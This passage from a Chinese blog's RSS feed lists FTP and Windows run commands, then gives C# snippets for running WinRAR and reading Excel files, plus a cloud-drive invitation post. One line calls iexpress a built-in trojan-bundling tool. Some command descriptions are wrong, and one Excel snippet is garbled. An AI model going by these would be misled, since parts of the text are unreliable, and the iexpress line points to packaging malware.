16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。</p>
<p>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。<br>
18.disconnection：同close。</p>
<p>19.form format：将文件传输方式设置为format，缺省为file方式。<br>
20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。</p>
<p>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。<br>
22.hash：每传输1024字节，显示一个hash符号(#)。</p>
<p>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。<br>
24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。</p>
<p>25.image：设置二进制传输方式(同binary)。<br>
26.lcd[dir]：将本地工作目录切换至dir。</p>
<p>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。<br>
28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。</p>
<p>29.mdelete[remote-file]：删除远程主机文件。<br>
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。</p>
<p>31.mget remote-files：传输多个远程文件。<br>
32.mkdir dir-name：在远程主机中建一目录。</p>
<p>33.mls remote-file local-file：同nlist，但可指定多个文件名。<br>
34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。</p>
<p>35.modtime file-name：显示远程主机文件的最后修改时间。<br>
36.mput local-file：将多个文件传输至远程主机。</p>
<p>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br>
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。</p>
<p>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br>
40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。</p>
<p>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。<br>
42.passive：进入被动传输方式。</p>
<p>43.prompt：设置多个文件传输时的交互提示。<br>
44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br>
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。<br>
46.pwd：显示远程主机的当前工作目录。</p>
<p>47.quit：同bye，退出ftp会话。<br>
48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.</p>
<p>49.recv remote-file[local-file]：同get。<br>
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。</p>
<p>51.rhelp[cmd-name]：请求获得远程主机的帮助。<br>
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。</p>
<p>53.rename[from][to]：更改远程主机文件名。<br>
54.reset：清除回答队列。</p>
<p>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。<br>
56.rmdir dir-name：删除远程主机目录。</p>
<p>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。<br>
58.send local-file[remote-file]：同put。</p>
<p>59.sendport：设置PORT命令的使用。<br>
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。</p>
<p>61.size file-name：显示远程主机文件大小，如：site idle 7200。<br>
62.status：显示当前ftp状态。</p>
<p>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。<br>
64.sunique：将远程主机文件名存储设置为只一(与runique对应)。</p>
<p>65.system：显示远程主机的操作系统类型。<br>
66.tenex：将文件传输类型设置为TENEX机的所需的类型。</p>
<p>67.tick：设置传输时的字节计数器。<br>
68.trace：设置包跟踪。</p>
<p>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。<br>
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3</p>
<p>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。<br>
72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.</p>
<p>73.?[cmd]：同help.</p>
<p>#11 十一：</p>
<p>7：计算机运行命令全集 winver---------检查Windows版本<br>
wmimgmt.msc----打开windows管理体系结构<br>
wupdmgr--------windows更新程序<br>
winver---------检查Windows版本<br>
wmimgmt.msc----打开windows管理体系结构<br>
wupdmgr--------windows更新程序<br>
wscript--------windows脚本宿主设置<br>
write----------写字板winmsd-----系统信息<br>
wiaacmgr-------扫描仪和照相机向导<br>
winchat--------XP自带局域网聊天<br>
mem.exe--------显示内存使用情况<br>
Msconfig.exe---系统配置实用程序<br>
mplayer2-------简易widnows media player<br>
mspaint--------画图板<br>
mstsc----------远程桌面连接<br>
mplayer2-------媒体播放机<br>
magnify--------放大镜实用程序<br>
mmc------------打开控制台<br>
mobsync--------同步命令<br>
dxdiag---------检查DirectX信息<br>
drwtsn32------ 系统医生<br>
devmgmt.msc--- 设备管理器<br>
dfrg.msc-------磁盘碎片整理程序<br>
diskmgmt.msc---磁盘管理实用程序<br>
dcomcnfg-------打开系统组件服务<br>
ddeshare-------打开DDE共享设置<br>
dvdplay--------DVD播放器<br>
net stop messenger-----停止信使服务<br>
net start messenger----开始信使服务<br>
notepad--------打开记事本<br>
nslookup-------网络管理的工具向导<br>
ntbackup-------系统备份和还原<br>
narrator-------屏幕"讲述人"<br>
ntmsmgr.msc----移动存储管理器<br>
ntmsoprq.msc---移动存储管理员操作请求<br>
netstat -an----(TC)命令检查接口<br>
syncapp--------创建一个公文包<br>
sysedit--------系统配置编辑器<br>
sigverif-------文件签名验证程序<br>
sndrec32-------录音机<br>
shrpubw--------创建共享文件夹<br>
secpol.msc-----本地安全策略<br>
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br>
services.msc---本地服务设置<br>
Sndvol32-------音量控制程序<br>
sfc.exe--------系统文件检查器<br>
sfc /scannow---windows文件保护<br>
tsshutdn-------60秒倒计时关机命令<br>
tourstart------xp简介（安装完成后出现的漫游xp程序）<br>
taskmgr--------任务管理器<br>
eventvwr-------事件查看器<br>
eudcedit-------造字程序<br>
explorer-------打开资源管理器<br>
packager-------对象包装程序<br>
perfmon.msc----计算机性能监测程序<br>
progman--------程序管理器<br>
regedit.exe----注册表<br>
rsop.msc-------组策略结果集<br>
regedt32-------注册表编辑器<br>
rononce -p ----15秒关机<br>
regsvr32 /u *.dll----停止dll文件运行<br>
regsvr32 /u zipfldr.dll------取消ZIP支持<br>
cmd.exe--------CMD命令提示符<br>
chkdsk.exe-----Chkdsk磁盘检查<br>
certmgr.msc----证书管理实用程序<br>
calc-----------启动计算器<br>
charmap--------启动字符映射表<br>
cliconfg-------SQL SERVER 客户端网络实用程序<br>
Clipbrd--------剪贴板查看器<br>
conf-----------启动netmeeting<br>
compmgmt.msc---计算机管理<br>
cleanmgr-------**整理<br>
ciadv.msc------索引服务程序<br>
osk------------打开屏幕键盘<br>
odbcad32-------ODBC数据源管理器<br>
oobe/msoobe /a----检查XP是否激活<br>
lusrmgr.msc----本机用户和组<br>
logoff---------注销命令<br>
iexpress-------木马捆<u style=display:none>佳节又重阳</u>绑工具，系统自带<br>
Nslookup-------IP地址侦测器<br>
fsmgmt.msc-----共享文件夹管理器<br>
utilman--------辅助工具管理器<br>
gpedit.msc-----组策略</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/dos%e5%91%bd%e4%bb%a4%e5%a4%a7%e5%85%a8%e7%bb%8f%e5%85%b8%e6%94%b6%e8%97%8f/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C# 利用WinRAR (加密)压缩及解压缩 相关文件夹及文件</title>
		<link>http://heku.cn/c-%e5%88%a9%e7%94%a8winrar-%e5%8a%a0%e5%af%86%e5%8e%8b%e7%bc%a9%e5%8f%8a%e8%a7%a3%e5%8e%8b%e7%bc%a9-%e7%9b%b8%e5%85%b3%e6%96%87%e4%bb%b6%e5%a4%b9%e5%8f%8a%e6%96%87%e4%bb%b6</link>
		<comments>http://heku.cn/c-%e5%88%a9%e7%94%a8winrar-%e5%8a%a0%e5%af%86%e5%8e%8b%e7%bc%a9%e5%8f%8a%e8%a7%a3%e5%8e%8b%e7%bc%a9-%e7%9b%b8%e5%85%b3%e6%96%87%e4%bb%b6%e5%a4%b9%e5%8f%8a%e6%96%87%e4%bb%b6#comments</comments>
		<pubDate>Tue, 11 Jan 2011 12:37:10 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28862</guid>
		<description><![CDATA[本次示例主要实现： 1.压缩文件夹及其下文件 2.压缩文件夹下文件 3.压缩文件夹及其下文件为rar 还是 zip 4.解压缩 5.加密压缩及解加密压缩 ----------- 示例代码如下： protected void Button1_Click(object sender, EventArgs e) { string strtxtPath = "C:\\freezip\\free.txt"; string strzipPath = "C:\\freezip\\free.zip"; System.Diagnostics.Process Process1 = new System.Diagnostics.Process(); Process1.StartInfo.FileName = "Winrar.exe"; Process1.StartInfo.CreateNoWindow = true; //// 1 ////压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt) ////到c:\freezip\free.rar //strzipPath = "C:\\freezip\\free";//默认压缩方式为 .rar //Process1.StartInfo.Arguments = " a -r " + strzipPath + " " [...]]]></description>
			<content:encoded><![CDATA[<p>本次示例主要实现：<br>
1.压缩文件夹及其下文件<br>
2.压缩文件夹下文件<br>
3.压缩文件夹及其下文件为rar 还是 zip<br>
4.解压缩<br>
5.加密压缩及解加密压缩<br>
-----------<br>
示例代码如下：<br>
protected void Button1_Click(object sender, EventArgs e)<br>
{<br>
string strtxtPath = "C:\\freezip\\free.txt";<br>
string strzipPath = "C:\\freezip\\free.zip";<br>
System.Diagnostics.Process Process1 = new System.Diagnostics.Process();<br>
Process1.StartInfo.FileName = "Winrar.exe";<br>
Process1.StartInfo.CreateNoWindow = true;<br>
//// 1<br>
////压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt)<br>
////到c:\freezip\free.rar<br>
//strzipPath = "C:\\freezip\\free";//默认压缩方式为 .rar<br>
//Process1.StartInfo.Arguments = " a -r " + strzipPath + " " + strtxtPath;<br>
//// 2<br>
////压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt)<br>
////到c:\freezip\free.rar<br>
//strzipPath = "C:\\freezip\\free";//设置压缩方式为 .zip<br>
//Process1.StartInfo.Arguments = " a -afzip " + strzipPath + " " + strtxtPath;<br>
//// 3<br>
////压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt)<br>
////到c:\freezip\free.zip 直接设定为free.zip<br>
//Process1.StartInfo.Arguments = " a -r "+strzipPath+" " + strtxtPath ;<br>
//// 4<br>
////搬迁压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt)<br>
////到c:\freezip\free.rar 压缩后 原文件将不存在<br>
//Process1.StartInfo.Arguments = " m " + strzipPath + " " + strtxtPath;<br>
//// 5<br>
////压缩c:\freezip\下的free.txt(即文件free.txt)<br>
////到c:\freezip\free.zip 直接设定为free.zip 只有文件 而没有文件夹<br>
//Process1.StartInfo.Arguments = " a -ep " + strzipPath + " " + strtxtPath;<br>
//// 6<br>
////解压缩c:\freezip\free.rar<br>
////到 c:\freezip\<br>
//strtxtPath = "c:\\freezip\\";<br>
//Process1.StartInfo.Arguments = " x " + strzipPath + " " + strtxtPath;<br>
//// 7<br>
////加密压缩c:\freezip\free.txt(即文件夹及其下文件freezip\free.txt)<br>
////到c:\freezip\free.zip 密码为123456 注意参数间不要空格<br>
//Process1.StartInfo.Arguments = " a -p123456 " + strzipPath + " " + strtxtPath;<br>
//// 8<br>
////解压缩加密的c:\freezip\free.rar<br>
////到 c:\freezip\ 密码为123456 注意参数间不要空格<br>
//strtxtPath = "c:\\freezip\\";<br>
//Process1.StartInfo.Arguments = " x -p123456 " + strzipPath + " " + strtxtPath;<br>
//// 9<br>
////-o+ 覆盖 已经存在的文件<br>
//// -o- 不覆盖 已经存在的文件<br>
//strtxtPath = "c:\\freezip\\";<br>
//Process1.StartInfo.Arguments = " x -o+ " + strzipPath + " " + strtxtPath;<br>
////10<br>
//// 只从指定的zip中<br>
//// 解压出free1.txt<br>
//// 到指定路径下<br>
//// 压缩包中的其他文件 不予解压<br>
//strtxtPath = "c:\\freezip\\";<br>
//Process1.StartInfo.Arguments = " x " + strzipPath + " " +" free1.txt" + " " + strtxtPath;</p>
<p>//// 11<br>
//// 通过 -y 对所有询问回应为"是" 以便 即便发生错误 也不弹出WINRAR的窗口<br>
//// -cl 转换文件名为小写字母<br>
//strtxtPath = "c:\\freezip\\";<br>
//Process1.StartInfo.Arguments = " t -y -cl " + strzipPath + " " + " free1.txt";</p>
<p>Process1.Start();<br>
if (Process1.HasExited)<br>
{<br>
int iExitCode = Process1.ExitCode;<br>
if (iExitCode == 0)<br>
{<br>
Response.Write(iExitCode.ToString() + " 正常完成");<br>
}<br>
else<br>
{<br>
Response.Write(iExitCode.ToString() + " 有错完成");<br>
}<br>
}<br>
}</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c-%e5%88%a9%e7%94%a8winrar-%e5%8a%a0%e5%af%86%e5%8e%8b%e7%bc%a9%e5%8f%8a%e8%a7%a3%e5%8e%8b%e7%bc%a9-%e7%9b%b8%e5%85%b3%e6%96%87%e4%bb%b6%e5%a4%b9%e5%8f%8a%e6%96%87%e4%bb%b6/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>够快网盘邀请码无限发放,需要的留下邮箱</title>
		<link>http://heku.cn/%e5%a4%9f%e5%bf%ab%e7%bd%91%e7%9b%98%e9%82%80%e8%af%b7%e7%a0%81%e6%97%a0%e9%99%90%e5%8f%91%e6%94%be%e9%9c%80%e8%a6%81%e7%9a%84%e7%95%99%e4%b8%8b%e9%82%ae%e7%ae%b1</link>
		<comments>http://heku.cn/%e5%a4%9f%e5%bf%ab%e7%bd%91%e7%9b%98%e9%82%80%e8%af%b7%e7%a0%81%e6%97%a0%e9%99%90%e5%8f%91%e6%94%be%e9%9c%80%e8%a6%81%e7%9a%84%e7%95%99%e4%b8%8b%e9%82%ae%e7%ae%b1#comments</comments>
		<pubDate>Sun, 09 Jan 2011 09:54:09 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28850</guid>
		<description><![CDATA[今天介绍一个很厉害也很特别的免费网盘，居然支持离线下载的网盘，这个功能真是让人很爽。网盘可以离线下载，在国内尚属首家，值得支持。使用腾讯QQ2010sp3做离线下载测试，居然几秒钟就下载完成了，我的天，真的非常快，不明白为什么不对每一个用户进行离线下载分配一个带宽呢？BT下载暂时没有测试。目前支持http和BT两种方式下载，电驴下载不支持，FTP下载貌似也不支持。如果够快网盘能一直做下去的的话，迅雷的离线下载就受到冲击了。 免费网盘够快网盘功能介绍： 1.云端存储 普通用户注册后有4G存储空间，单文件存大小限制1G。VIP用户20G以上存储空间，单文件没有大小限制。点击“我的信息” 可以看到目前网盘存储情况。 2.文件分享 发布与分享网盘中存储的文件可以以多种方式分享给朋友。可以通过点击“分享”给把文件发送给够快上的某个好友和兴趣组里的群体。 3.离线下载 离线下载能够下载BT文件、http直接地址文件存储到网盘中（支持PT下载）。BT文件可以选择文件包模式或者选择文件下载。文件包模式下栽的文件会存储到文件包类别，如果选择文件则会存储到文件相应的类别目录中。 4.高清播放器推送 高清播放器推送可以将网盘中的视频文件直接推送家里的高清播放器中。需要有支持网络接入功能的高清播放、且支持gokuai网络推送协议。（目前天敏 DMP550以支持该功能，支持功能的固件下载地址）该功能适合白天在公司上班时将离线下载好的片子或者网盘上别人分享的片子通过推送功能发送到家里的高清播放器，那么晚上回家就可以看了，或是给家中不懂得如何下载父母的父母使用。 5.云端转码 云端转码可以将网盘中的视频文件通过云端服务器转码为适合各种移动终端播放的MP4格式，目前支持一般智能手机播放的480*320分辨率的格式，以后还会有支持更合适 iphone4和ipad等高分辨率屏幕使用的格式。转码完成的文件可以在“我的设备”的“手机”菜单中获取 6.同步功能 即将推出敬请期待！ 免费网盘地址：http://www.gokuai.com 该免费网盘处于内测阶段，注册需要邀请码，需要的留下邮箱。 够快网盘邀请码无限发放,需要的留下邮箱]]></description>
			<content:encoded><![CDATA[<p>今天介绍一个很厉害也很特别的免费网盘，居然支持离线下载的网盘，这个功能真是让人很爽。网盘可以离线下载，在国内尚属首家，值得支持。使用腾讯QQ2010sp3做离线下载测试，居然几秒钟就下载完成了，我的天，真的非常快，不明白为什么不对每一个用户进行离线下载分配一个带宽呢？BT下载暂时没有测试。目前支持http和BT两种方式下载，电驴下载不支持，FTP下载貌似也不支持。如果够快网盘能一直做下去的的话，迅雷的离线下载就受到冲击了。<br>
免费网盘够快网盘功能介绍：<br>
1.云端存储<br>
普通用户注册后有4G存储空间，单文件存大小限制1G。VIP用户20G以上存储空间，单文件没有大小限制。点击“我的信息” 可以看到目前网盘存储情况。<br>
2.文件分享<br>
发布与分享网盘中存储的文件可以以多种方式分享给朋友。可以通过点击“分享”给把文件发送给够快上的某个好友和兴趣组里的群体。<br>
3.离线下载<br>
离线下载能够下载BT文件、http直接地址文件存储到网盘中（支持PT下载）。BT文件可以选择文件包模式或者选择文件下载。文件包模式下栽的文件会存储到文件包类别，如果选择文件则会存储到文件相应的类别目录中。<br>
4.高清播放器推送<br>
高清播放器推送可以将网盘中的视频文件直接推送家里的高清播放器中。需要有支持网络接入功能的高清播放、且支持gokuai网络推送协议。（目前天敏 DMP550以支持该功能，支持功能的固件下载地址）该功能适合白天在公司上班时将离线下载好的片子或者网盘上别人分享的片子通过推送功能发送到家里的高清播放器，那么晚上回家就可以看了，或是给家中不懂得如何下载父母的父母使用。<br>
5.云端转码<br>
云端转码可以将网盘中的视频文件通过云端服务器转码为适合各种移动终端播放的MP4格式，目前支持一般智能手机播放的480*320分辨率的格式，以后还会有支持更合适 iphone4和ipad等高分辨率屏幕使用的格式。转码完成的文件可以在“我的设备”的“手机”菜单中获取<br>
6.同步功能<br>
即将推出敬请期待！<br>
免费网盘地址：http://www.gokuai.com<br>
该免费网盘处于内测阶段，注册需要邀请码，需要的留下邮箱。<br>
够快网盘邀请码无限发放,需要的留下邮箱</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/%e5%a4%9f%e5%bf%ab%e7%bd%91%e7%9b%98%e9%82%80%e8%af%b7%e7%a0%81%e6%97%a0%e9%99%90%e5%8f%91%e6%94%be%e9%9c%80%e8%a6%81%e7%9a%84%e7%95%99%e4%b8%8b%e9%82%ae%e7%ae%b1/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>C# 读取excel 几种方法的集合 读取excel多sheet</title>
		<link>http://heku.cn/c-%e8%af%bb%e5%8f%96excel-%e5%87%a0%e7%a7%8d%e6%96%b9%e6%b3%95%e7%9a%84%e9%9b%86%e5%90%88-%e8%af%bb%e5%8f%96excel%e5%a4%9asheet</link>
		<comments>http://heku.cn/c-%e8%af%bb%e5%8f%96excel-%e5%87%a0%e7%a7%8d%e6%96%b9%e6%b3%95%e7%9a%84%e9%9b%86%e5%90%88-%e8%af%bb%e5%8f%96excel%e5%a4%9asheet#comments</comments>
		<pubDate>Thu, 30 Dec 2010 05:58:38 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=3</guid>
		<description><![CDATA[OleDbConnection 读取 Excel 中多sheet 的 名称 string strConn; strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/test.xls;"+ "Extended Properties=Excel 8.0;"; OleDbConnection conn = new OleDbConnection(strConn); conn.Open(); DataTable sheetNames = conn.GetOleDbSchemaTable (OleDbSchemaGuid.Tables, new object[] { null, null, null, "TABLE" }); conn.Close(); foreach (DataRow dr in sheetNames.Rows) { al.Add(dr[2]); } dr[2] sheet 名称 。。。 用于多sheet 操作 段 1 OleDbConnection 读取指定 sheet using [...]]]></description>
			<content:encoded><![CDATA[<p>OleDbConnection 读取 Excel 中多sheet 的 名称</p>
<p>string strConn;<br>
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/test.xls;"+<br>
"Extended Properties=Excel 8.0;";<br>
OleDbConnection conn = new OleDbConnection(strConn);<br>
conn.Open();<br>
DataTable sheetNames = conn.GetOleDbSchemaTable<br>
(OleDbSchemaGuid.Tables, new object[] { null, null, null, "TABLE" });<br>
conn.Close();<br>
foreach (DataRow dr in sheetNames.Rows)<br>
{<br>
al.Add(dr[2]);<br>
}</p>
<p>dr[2] sheet 名称 。。。 用于多sheet 操作</p>
<p>段 1 OleDbConnection 读取指定 sheet</p>
<p>using System.Data.OleDb;</p>
<p>...</p>
<p>static void Main()<br>
{<br>
Application.Run(new Form1());<br>
}</p>
<p>private void Form1_Load(object sender, System.EventArgs e)<br>
{<br>
DataTable myT=ExcelToDataTable("D:/文件/新武昌站点资料.xls","sheet1");<br>
String mystr=myT.Rows[0][0].ToString();<br>
this.textBox1.Text=mystr;<br>
}</p>
<p>public static DataTable ExcelToDataTable(string strExcelFileName, string strSheetName)<br>
{<br>
//源的定义<br>
string strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" + "Data Source=" + strExcelFileName + ";" + "Extended Properties='Excel 8.0;HDR=NO;IMEX=1';";</p>
<p>//Sql语句<br>
//string strExcel = string.Format("select * from [{0}$]", strSheetName); 这是一种方法<br>
string strExcel = "select * from [sheet1$]";</p>
<p>//定义存放的数据表<br>
DataSet ds = new DataSet();</p>
<p>//连接数据源<br>
OleDbConnection conn = new OleDbConnection(strConn);</p>
<p>conn.Open();</p>
<p>//适配到数据源<br>
OleDbDataAdapter adapter = new OleDbDataAdapter(strExcel, strConn);<br>
adapter.Fill(ds, strSheetName);</p>
<p>conn.Close();</p>
<p>return ds.Tables[strSheetName];<br>
}</p>
<p>很简单的代码，但是问题就出在连接字符串上面，后面一定要加上Extended Properties='Excel 8.0;HDR=NO;IMEX=1'，HDR和IMEX也一定要配合使用，哈哈,老实说,我也不知道为什么,这样配合的效果最好,这是我艰苦调试的结果.IMEX=1应该是将所有的列全部视为文本,我也有点忘记了.至于HDR本来只是说是否要出现一行标题头而已,但是结果却会导致某些字段值丢失,所以其实我至今也搞不明白为什么,很可能是驱动的问题...</p>
<p>很简单吧？！一切就像操作数据库一样，只是需要注意的是：</p>
<p>1。数据提供程序使用Jet，同时需要指定Extended Properties 关键字设置 Excel 特定的属性，不同版本的Excel对应不同的属性值：</p>
<p>用于 Extended Properties 值的有效 Excel 版本。</p>
<p>对于 Microsoft Excel 8.0 (97)、9.0 (2000) 和 10.0 (2002) 工作簿，请使用 Excel 8.0。</p>
<p>对于 Microsoft Excel 5.0 和 7.0 (95) 工作簿，请使用 Excel 5.0。</p>
<p>对于 Microsoft Excel 4.0 工作簿，请使用 Excel 4.0。</p>
<p>对于 Microsoft Excel 3.0 工作簿，请使用 Excel 3.0。</p>
<p>片段 2</p>
<p>提供两种方法：一个是直接打开excel文件，然后逐行读取，速度较慢；还有一种方法是通过OleDb连接，把excel文件作为数据源来读取<br>
方法一：这种直接读取单元格的方法释放很重要。</p>
<p>Excel.Application excel = null;<br>
Excel.Workbooks wbs = null;<br>
Excel.Workbook wb = null;<br>
Excel.Worksheet ws = null;<br>
Excel.Range range1 = null;<br>
object Nothing = System.Reflection.Missing.Value;</p>
<p>try<br>
{<br>
excel = new Excel.Application();<br>
excel.UserControl = true;<br>
excel.DisplayAlerts = false;</p>
<p>excel.Application.Workbooks.Open(this.FilePath,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing ) ;</p>
<p>wbs = excel.Workbooks;<br>
wb = wbs[1];<br>
ws = (Excel.Worksheet)wb.Worksheets["Sheet2"];</p>
<p>int rowCount = ws.UsedRange.Rows.Count;<br>
int colCount = ws.UsedRange.Columns.Count;<br>
if (rowCount &lt;= 0) throw new InvalidFormatException("文件中没有数据记录"); if (colCount &lt; 4 ) throw new InvalidFormatException("字段个数不对"); for (int i = 0;i { this.rowNo = i + 1; object[] row = new object[4]; for (int j = 0;j&lt;4;j++) { range1 = ws.get_Range(ws.Cells[i+2,j+1],ws.Cells[i+2,j+1]); row[j] = range1.Value; if (row[0] == null) { this.isNullRecord++; break; } } if (this.isNullRecord &gt; 0)<br>
continue;</p>
<p>DataRow dataRow = this.readExcel(row);</p>
<p>if (this.isNullRecord == 1)<br>
continue;</p>
<p>if (this.verifyData(dataRow) == false)<br>
errFlag++;</p>
<p>this.updateTableCurr(dataRow);<br>
}</p>
<p>}<br>
finally<br>
{<br>
if (excel != null)<br>
{<br>
if (wbs != null)<br>
{<br>
if (wb != null)<br>
{<br>
if (ws != null)<br>
{<br>
if (range1 != null)<br>
{<br>
System.Runtime.InteropServices.Marshal.ReleaseComObject(range1);<br>
range1 = null;<br>
}<br>
System.Runtime.InteropServices.Marshal.ReleaseComObject(ws);<br>
ws = null;<br>
}<br>
wb.Close(false,Nothing,Nothing);<br>
System.Runtime.InteropServices.Marshal.ReleaseComObject(wb);<br>
wb = null;<br>
}<br>
wbs.Close();<br>
System.Runtime.InteropServices.Marshal.ReleaseComObject(wbs);<br>
wbs = null;<br>
}<br>
excel.Application.Workbooks.Close();<br>
excel.Quit();<br>
System.Runtime.InteropServices.Marshal.ReleaseComObject(excel);<br>
excel = null;<br>
GC.Collect();<br>
}<br>
}</p>
<p>片段 3</p>
<p>用c#读取excel文件,写到datagridview控件中</p>
<p>用c#读取excel文件,写到datagridview控件中</p>
<p>string strconn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\MyExcel.xls;Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1''" " ;</p>
<p>OleDbConnection conn = new OleDbConnection(strconn);</p>
<p>conn.Open();</p>
<p>if (bo == false)</p>
<p>{</p>
<p>comboBox1.Items.Clear();</p>
<p>DataTable dt = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new object[] { null, null, null, "TABLE" });</p>
<p>foreach (DataRow dr in dt.Rows)</p>
<p>{</p>
<p>comboBox1.Items.Add((String)dr["TABLE_NAME"]);</p>
<p>//MessageBox.Show((String)dr["TABLE_NAME"]);</p>
<p>}</p>
<p>//comboBox1.Text = comboBox1.Items[0].ToString();</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>string sql = "select * from " + comboBox1.Text;</p>
<p>OleDbDataAdapter aper = new OleDbDataAdapter(sql, conn);</p>
<p>DataSet myset = new DataSet();</p>
<p>aper.Fill(myset, comboBox1.Text);</p>
<p>dataGridView1.DataSource = myset.Tables[comboBox1.Text];</p>
<p>}</p>
<p>conn.Close();</p>
<p>备注：</p>
<p>@"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\MyExcel.xls;Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1"""</p>
<p>"HDR=Yes;" indicates that the first row contains columnnames, not data</p>
<p>"IMEX=1;" tells the driver to always read "intermixed" data columns as text</p>
<p>TIP! SQL syntax: "SELECT * FROM [sheet1$]" - i.e. worksheet name followed by a "$" and wrapped in "[" "]" brackets.</p>
<p>如果第一行是数据而不是标题的话, 应该写: "HDR=No;"</p>
<p>"IMEX=1;" tells the driver to always read "intermixed" data columns as text</p>
<p>片段 4</p>
<p>C#读取Excel文件数据<br>
相当简单,Excel就像数据库,每个Sheet就是一个Table. Microsoft.Jet.OLEDB驱动.<br>
之后是DataReader循环,或DataSet处理都非常简单.</p>
<p>HTTP://BLOG.CSDN.NET/CRABO/</p>
<p>注意:数据类型的转换!!</p>
<p>#region set connection<br>
string strConn = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source= "+this.txtPath.Text+";Extended Properties=Excel 8.0;";<br>
myDataReader = null;<br>
craboDbConnection = new OleDbConnection(strConn);<br>
OleDbCommand myOleDbCommand = new OleDbCommand("SELECT * FROM [Sheet1$]", myOleDbConnection);<br>
#endregion</p>
<p>try<br>
{<br>
myOleDbConnection.Open();<br>
myDataReader = myOleDbCommand.ExecuteReader();<br>
while (myDataReader.Read())<br>
{<br>
this.txtSeq.Text=Convert.ToString(myDataReader.GetValue(0));//列1<br>
this.txtName.Text=Convert.ToString(myDataReader.GetValue(1));//列2<br>
this.txtPIN.Text=Convert.ToString(myDataReader.GetValue(2));//列3<br>
}<br>
}<br>
#region Catch<br>
catch(System.Threading.ThreadAbortException e)<br>
{<br>
System.Threading.Thread.ResetAbort();<br>
this.lblResult.Text = "线程被中断..."+e.Message;<br>
}<br>
catch(Exception ex)<br>
{<br>
System.Windows.Forms.MessageBox.Show(ex.ToString());<br>
}<br>
finally<br>
{<br>
// Always call Close when done reading.<br>
if (myDataReader != null)<br>
myDataReader.Close();</p>
<p>// Close the connection when done with it.<br>
if (craboDbConnection!=null &amp;&amp; craboDbConnection.State == ConnectionState.Open)<br>
craboDbConnection.Close();</p>
<p>if(webResponse!=null)<br>
webResponse.Close();<br>
}<br>
#endregion</p>
<p>转自:http://hi.baidu.com/dogslife/blog/item/5eb3310816c733d663d98667.html</p>
<p>using System;<br>
using System.Collections.Generic;<br>
using System.ComponentModel;<br>
using System.Data;<br>
using System.Drawing;<br>
using System.Text;<br>
using System.Windows.Forms;<br>
using System.Collections;<br>
using System.Data.OleDb;</p>
<p>namespace xml<br>
{<br>
public partial class Form1 : Form<br>
{<br>
public Form1()<br>
{<br>
